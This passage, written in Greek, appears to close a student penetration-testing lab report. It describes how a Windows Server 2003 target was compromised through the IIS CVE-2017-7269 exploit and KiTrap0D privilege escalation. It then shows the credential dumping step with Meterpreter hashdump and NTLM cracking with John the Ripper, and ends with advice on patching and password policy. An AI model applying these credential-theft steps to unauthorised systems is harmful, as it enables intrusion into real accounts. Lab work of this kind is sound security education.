Μετά την απόκτηση πλήρων δικαιωμάτων διαχειριστή (SYSTEM), το τελικό βήμα ήταν η ανάκτηση του κωδικού πρόσβασης του Administrator. Χρησιμοποιήσαμε την εντολή **hashdump** του Meterpreter για να εξάγουμε τα κρυπτογραφημένα hashes από τη βάση δεδομένων SAM (Security Account Manager-κρίσιμη βάση δεδομένων) των Windows. Το NTLM hash του Administrator (παλιό πρωτόκολλο ασφαλείας για authentication) εντοπίστηκε ως: **3008c87294511142799dca1191e69a0f**. Στη συνέχεια ανοίξαμε ένα άλλο terminal και αποθηκεύσαμε αυτό το hash σε ένα αρχείο κειμένου (hash.txt) στο Kali Linux. Μετά χρησιμοποιήσαμε το εργαλείο **John the Ripper** για να το αποκρυπτογραφήσουμε. Η εντολή που χρησιμοποιήθηκε ήταν: **john --format=NT hash.txt**. Η διαδικασία ολοκληρώθηκε επιτυχώς, αποκαλύπτοντας ότι ο κωδικός πρόσβασης είναι: **admin123**.

Συμπέρασμα

Η παρούσα εργαστηριακή άσκηση αποτέλεσε μια πρακτική εφαρμογή της μεθοδολογίας «Cyber Kill Chain» σε ένα μη ασφαλές περιβάλλον. Μέσα από τη διαδικασία του Penetration

Testing, αναδείχθηκαν οι κρίσιμοι κίνδυνοι που εγκυμονεί η χρήση παρωχημένων λειτουργικών συστημάτων, όπως τα Windows Server 2003.

Η διαδικασία της επίθεσης εξελίχθηκε στα εξής στάδια:

1. Μέσω του εργαλείου Nmap, εντοπίστηκε ο στόχος και χαρτογραφήθηκαν οι ανοιχτές θύρες. Ιδιαίτερης σημασίας ήταν ο εντοπισμός της υπηρεσίας IIS 6.0 στη θύρα 80.
2. Η σάρωση αποκάλυψε πολλαπλά κενά ασφαλείας, με κυριότερο την ευπάθεια CVE-2017-7269 (Buffer Overflow).
3. Χρησιμοποιώντας το Metasploit Framework, επιτύχαμε αρχική πρόσβαση στο σύστημα (Remote Code Execution). Λόγω της αστάθειας της ευπάθειας, εφαρμόστηκε μηχανισμός «μετεγκατάστασης» σε σταθερή διεργασία για τη διατήρηση της σύνδεσης.
4. Από το επίπεδο του απλού χρήστη (Network Service), εκμεταλλευτήκαμε μια ευπάθεια στον πυρήνα των Windows (KiTrap0D), αποκτώντας πλήρη έλεγχο του συστήματος ως NT AUTHORITY\SYSTEM.
5. Τέλος, αποδείξαμε την κρισιμότητα της παραβίασης μέσω της υποκλοπής των κρυπτογραφημένων κωδικών (hashes) και της αποκρυπτογράφησης του κωδικού του διαχειριστή (admin123), αναδεικνύοντας το πρόβλημα των αδύναμων διαπιστευτηρίων.

Συμπερασματικά, η άσκηση υπογραμμίζει την ανάγκη για άμεση απόσυρση απαρχαιωμένων συστημάτων, την εφαρμογή αυστηρής πολιτικής κωδικών πρόσβασης και τη διαρκή εγκατάσταση ενημερώσεων ασφαλείας (patching) για την προστασία των υποδομών.